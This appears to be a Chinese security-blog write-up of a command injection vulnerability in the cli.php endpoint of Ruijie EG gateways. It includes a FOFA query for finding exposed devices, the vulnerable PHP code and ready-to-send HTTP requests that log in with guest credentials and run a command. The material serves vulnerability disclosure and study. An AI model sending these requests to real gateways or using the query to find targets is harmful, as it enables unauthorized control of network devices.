锐捷-EWEB cli.php 命令注入漏洞


漏洞简介

锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。锐捷EG易网关 cli.php 的 indexAction存在命令注入漏洞,攻击者可以利用该漏洞在设备上执行任意命令,造成设备失陷等高危风险。

影响版本

<=2022.07.28.01

fofa语法

title="锐捷网络-EWEB网管系统" || app="Ruijie-EG易网关" && body="/login.php?a=version"

漏洞分析

看下 cli.php 关键业务 indexAction 逻辑的实现

public function indexAction() {
        $mode = p("mode_url");
        $command = p("command");
        $answer = p("answer");

        if ($mode == false)
            $mode = "exec";
        if ($answer == false)
            $answer = "";
        if ($command !== false)
            $command = iconv('UTF-8', 'GBK//IGNORE', $command);
        $data = execCli($mode, $command, $answer);
        if ($data["status"] !== 1) {
            json_echo($data);
            exit();
        }

mode_url 、command 和 answer 带入 execCli 方法中,跟进看下其实现

function execCli($mode = "exec", $command = "", $answer = "") {
    $data = [];
    if ($command == "" || $command == false) {
        $data["status"] = 2;
        $data["msg"] = "no command";
        return $data;
    }
    if (!function_exists('php_exec_cli')) {  //动态加载cli通信模块
        if (!@dl('client.so')) {
            $data["status"] = 3;
            $data["msg"] = "can't load client.so";
            return $data;
        }
    }
    if (defined('DEBUG') && DEBUG) {
        $t1 = microtime(true);
    }
    $data["data"] = php_exec_cli($command, $mode, $answer);
    $data["status"] = 1;
    if (defined('DEBUG') && DEBUG) {
        $t2 = microtime(true);
        $data["executeTime"] = ($t2 - $t1) * 1000;
    }
    return $data;
}

根据 $command 是否为空,然后来调用 php_exec_cli 执行命令,全程无过滤和检测,因此造成命令注入漏洞。

漏洞复现

获取cookie

POST /ddi/server/login.php HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded

username=guest&password=guest?

命令注入

POST /cli.php HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

command=dir&mode_url=0

成功执行 dir 命令并回显结果。


手机扫码阅读

Unibox路由器 authentication/test_userlogin.php 命令执行漏洞

Unibox路由器 network/checkstatus_ping.php 命令执行漏洞

评 论